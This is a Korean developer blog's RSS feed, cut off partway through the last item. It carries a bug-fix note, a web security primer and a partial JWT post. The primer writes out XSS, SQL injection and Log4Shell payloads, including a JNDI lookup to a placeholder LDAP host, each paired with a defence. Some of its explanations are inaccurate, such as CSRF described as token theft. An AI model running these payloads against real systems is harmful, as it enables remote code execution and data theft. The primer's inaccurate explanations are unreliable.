<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>친절한 토리씨</title>
    <link>https://mytory.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sun, 5 Apr 2026 06:00:32 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>불친절한 토리씨</managingEditor>
    <item>
      <title>주인장 놀라고 갑니다.</title>
      <link>https://mytory.tistory.com/248</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;구글에 블로그명을 검색하면 바로 나오는 것도 그렇고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 집중하는 사이에 무려 구독이 2명이나 생겼더라구요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별개 언급없이 구독 받는게 절대로 쉽지 않은일인데..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어느분인지 모르지만 저에게는 감개무량할 좋은 추억이 될것 같습니다. 감사할 따름입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트가 생각보다 오래 걸림에 따라서 블로그를 방치하는 시간이 길어졌습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;곧 끝이 보이니 조만간 생각외의 좋은 완성품과 함께 돌아오도록 하겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수학 관련 포스팅은.. 그 후에 차차 수정을 거친뒤 안정이되면 재개할 생각입니다.&lt;/p&gt;</description>
      <category>여러가지생각</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/248</guid>
      <comments>https://mytory.tistory.com/248#entry248comment</comments>
      <pubDate>Mon, 13 Feb 2023 19:23:14 +0900</pubDate>
    </item>
    <item>
      <title>Error occurred while proxying request [ECONNREFUSED]</title>
      <link>https://mytory.tistory.com/247</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 이슈는 백엔드와 프론트간의 연결을 제어하던중에 발생한 문제였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프론트엔드측의 코드와 백엔드측의 코드를 모두 살펴보고 구글링했으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 상에서 틀린부분을 전혀 찾을 수 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 자신이 작성했던 모든 행적들을 하나하나 추적하며 생각하던 중,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백/프론트의 코드가 아닌 서버측의 설정때문에 혼선이 발생한 것을 깨달아버렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백엔드 측에서 ip를 ipv4로 받아올 필요가 있어서 톰켓에 별도의 설정을 했었던 것이 문제였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관련 자료를 찾지 못해서 추측이지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프론트엔드 측에서 사용했던 http-proxy-middleware 가 url 경로를 찾을때 ipv6를 사용하는것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ipv4로 받는 톰켓의 경로와의 혼선에 의해서 서로의 연결이 맞지 않았다고 결론을 내린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프록시 작성시 localhost 로 작성한 코드를 127.0.0.1 로 ipv4형식을 지정함으로써 문제를 해결했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 추후 Ipv6로 변동한다면 그땐 다시 localhost로 되돌려 쓰면 될것 같다.&lt;/p&gt;</description>
      <category>개발/bug fix</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/247</guid>
      <comments>https://mytory.tistory.com/247#entry247comment</comments>
      <pubDate>Sat, 4 Feb 2023 20:15:21 +0900</pubDate>
    </item>
    <item>
      <title>BUG FIX 카테고리에 대하여..</title>
      <link>https://mytory.tistory.com/246</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;작성자는 단순 코드의 잘못된 작성에의한 이슈는 별개로 기록하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 아주 드물게 예외가 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1.라이브러리 / 코드 사용에 필요한 별도의 지식이 부족하여 코드상으로 처리할 수 없는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.&lt;u&gt;분명히 잘못된 코드가 없는데&lt;/u&gt;, 외부 환경에 의해서 이슈가 발생할 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.트레이스 추척이 불가능한 오류 가 이에 해당한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BUG FIX 에서는 작자가 개발을 진행하면서 격는 이러한 난해한 오류에 대한 정리를 해두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공개의 목적이라기 보단 작자가 추후에 다시 보며 버그를 픽스하는것에 초점을 둔 글이므로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bug fix에서 만큼은 글의 내용이 철저하게 작자에게 맞춰서 설명한 내용들로 이루어져 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선정된 경험을 바탕으로 작성되기 때문에 그만큼 작성할 글이 적으므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 항목은 어디까지나 검색 기록용으로 쓰이며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞으로도 잘 관리하지 않을 예정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/bug fix</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/246</guid>
      <comments>https://mytory.tistory.com/246#entry246comment</comments>
      <pubDate>Sat, 4 Feb 2023 19:45:31 +0900</pubDate>
    </item>
    <item>
      <title>웹 보안에 대한 정리. (1)</title>
      <link>https://mytory.tistory.com/245</link>
      <description>&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1부. 해킹&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안에 대한 지식을 간과한체 앱을 구현하는 것은 빠르고 편하고 쉬우나 그 대가가 엄청나게 무섭다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적어도 &lt;u&gt;개발자라면 반드시 관련 지식을 알아둬야만 하는&lt;/u&gt; 공격과 보안에 대한 설명을 하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1.XSS&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;1)공격&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커가 작성한 코드를 웹페이지에서 작동하게하는 사용자에게 심각한 피해를 입히는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 닉네임을 input으로 받는다고 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력 받은 문자열은 웹 페이지 어딘가에 출력되는 정보이다. 예를 들면 게시글이 될 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면, input 에 정상적인 문자열 대신에 이렇게 적어보는건 어떨까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;alert(&quot;attack&quot;);&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 적은 닉네임을 지닌 유저가 게시글을 올려두었다고 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판을 사용하는 타인이 화면을 로딩하던중 해당 닉네임을 화면에 출력하게 된다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML 태그로 인식되는 해당 닉네임은 타인에게 alert 창을 띄우게 되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시에서는 alert를 사용했지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게 while문으로 무거운 연산을 반복하게하는 것만으로 컴퓨터를 정지시키는것도 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;2)대응&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대응법은 특수문자를 서버에서 모두 검열하는 것이 가장 최선이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 게시글의 본문에 이런 조치를 취할수는 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 대해서는 해쉬코드와 인코딩에서 추가로 설명하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 프론트엔드 단에서 react 를 사용한다면 xss에 대한 방지효과를 볼수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;2.SQL injection&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;1)공격&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커가 데이터베이스에 접근해서 서버의 데이터를 빼돌리거나 파기하는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트에서 사용자 명에 대하여 db에서 정보를 꺼낸다고 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때의 SQL문이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;&lt;b&gt;select column form table where id = 'userid'; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유저가 입력한 userid의&amp;nbsp; 값이 [userid' or '1'='1] 라면?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;select column form table where id = 'userid' or '1'='1';&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 식으로 쿼리의 의도를 공격자가 변형한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;2)대응&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 역시 특수문자를 서버에서 검열하는 방법이 있으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 좋은 방법은 쿼리 작성시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;&lt;b&gt;select column form table where id = ?;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 식으로 &lt;span style=&quot;color: #009a87;&quot;&gt;Parameter Binding&lt;/span&gt; 형태로 인자를 받아 사용하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 jpa를 사용한다면 이 형태를 기본 형태로 적용해서 사용하므로 SQL injection을 &lt;u&gt;어느정도&lt;/u&gt; 예방할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어느정도라 하는 이유는 jpa에서 사용자 정의 쿼리를 사용하면서 허점이 생길 수 있기 때문.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;3.CSRF&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;1)공격&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 로그인을 승인한 뒤에 인가를 위한 토큰을 클라이언트에게 지급할 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 토큰을 탈취한뒤 사용자의 정보를 이용하는 방법.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굳이 토큰이 아니여도 된다. 주요 타겟은 사용자의 쿠키 정보다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 링크나 버튼등의 클릭등을 유도해서 타 유저의 권한에 대한 정보를 빼돌린뒤 공격자가 권한을 이용하는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금 더 자세히 설명하자면 개념이 약간 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상대방이 특정 사이트에 접속하는 등의 작업을 하기 위해선&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;url에 지정되어있는 서버에서 정보를 달라고 요청을 보내게되는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 서버측은 정보를 요청하는 상대측의 경로를 받게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 , 이렇게 받아낸 연결 경로를 이용해서 브라우저에서 자동으로 받게되는 여러 정보들을 위조해서 보낸뒤,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자의 권한을 획득하는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;2)대응&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트의 host와 request가 같은지 대조를 하면 일부분 예방할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;3)부록&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자들 사이에서 피해가 비교적 미미해서 프론트엔드 단에서 자잘하게 막지 않는 공격 유형이 두가지가 있는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면 요소를 꾸미는 html injection 과 css injection 이 이에 해당한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 이러한 변형을 서버단에 저장하게 하는 것은&amp;nbsp;다소 힘든면이 있으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이미지의 출력을 URL로 사용할 수 있다는 점을 유의할 필요가있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;+logj 에 대한 보안 주의&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;결과가 가장 심각하다 이것 만큼은 절대로 모르면 안됀다.&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xss가 클라이언트 단에서 임의 코드를 실행한다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;logj를 사용한 이 공격은 &lt;u&gt;서버단에서 임의 코드를 실행해버린다.&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;1)공격&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 컨트롤러단에서 사용자의 get이나 post를 인자로 받는다고 생각해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버단에서는 get 이나 post를 받을때마다 어떤 내용을 받았는지 로그로 기록을 할것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이에 가장 많이 사용되는 라이브러리가 logj인데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 컨트롤러 단에서 인자를 &lt;span style=&quot;background-color: #ffffff;&quot;&gt;${jndi:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;ldap://server_ip:port/exploit&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;} 로 받았다고 생각해보라.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;대강 이 내용을 String 으로 받아서 로그로 기록한다 하면,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;logger.info(&quot;${jndi: &lt;span style=&quot;background-color: #ffffff;&quot;&gt;ldap://server_ip:port/exploit&lt;/span&gt; }&quot;);&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;이런 형태가 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;logj에서 제공하는 jndi는 타 컴퓨터와 통신으로 객체나 데이터를 주고 받기위해서 존재한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;그런데 이를 악용해서 역으로 상대 컴퓨터 측에서 객체를 실행시키는 결과로 나타날 수 있다.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #009a87;&quot;&gt;2)대응&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #373a3c;&quot;&gt;logj는 반드시 2.17.1 이상의 버전을 사용해야한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/개발지식</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/245</guid>
      <comments>https://mytory.tistory.com/245#entry245comment</comments>
      <pubDate>Wed, 1 Feb 2023 20:45:49 +0900</pubDate>
    </item>
    <item>
      <title>jwt에 대한 고찰..</title>
      <link>https://mytory.tistory.com/244</link>
      <description>&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;1.일반적인 로그인 프로세스&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 로그인 프로세스를 알아야 이해할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 로그인 프로세스는 클라이언트에서 아이디와 비밀번호를 입력 받으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그에 대해서 인증(Authentication) 과정을 거친다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;말하자면 DB에 저장되어있는 정보와 일치하는가 대조해서 ok 사인을 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트는 Ok 사인을 받으면 id를 세션구역(서버측 쿠키)에 저장하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후에 로그인이 필요한 서비스를 이용할 때마다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션에 저장해둔 id 를 기준으로 데이터를 찾는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 세션의 id 정보를 토대로 기능의 사용을 인가(Authorization) 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나, 세션에 id 정보를 저장하는 것이 문제가 되는 경우가 존재하는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약에 서버가 여러개라면? 세션이 저장되어있는 서버를 한번씩 들러야 하는 번거로움이 생긴다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2.JWT&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트에 id 정보를 local Storage 나 cookie 에 저장할 수도 있으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 해커에게 정보를 털어가 달라고 사정하는 수준의 위험도를 지닌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이에 대응해서 만들어진 또 다른 로그인 방식이 바로 JWT다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방법에선 인증(Authentication) 과정의 후처리로 아이디와 비밀번호의 조회가 끝난 뒤&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버는 정보를 암호화한 토큰(입장권)을 클라이언트에게 발급한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트는 특정 기능을 실행할 때마다 이 토큰을 서버에게 전달해주며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 암호화된 토큰을 서버에서 복호화에 성공하면 인가&lt;span&gt;(Authorization)&lt;/span&gt;,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실패하면 변조된 데이터로 보고 비인가 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 과정을 통해서 복호화한 토큰속에 유저의 아이디 정보가 들어있다면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 아이디 정보를 토대로 유저에게 맞는 정보를 DB에서 가져올 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;3.위험성&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터넷을 뒤져보면 잘못된 형태로 쓰고 설명하는 글들도 엄청나게 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작자는 매우 엄중하게 경고한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;!!!!!jwt를 제대로 이해 못했다면 절대로 쓰지 말것!!!!!&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각없이 쓰면 코딩 인생이 끝날만큼 엄청나게 위험하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 토큰을 사용할때 별도의 데이터 대조와 인증 과정을 거치지 않는다는 점을 주목할 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
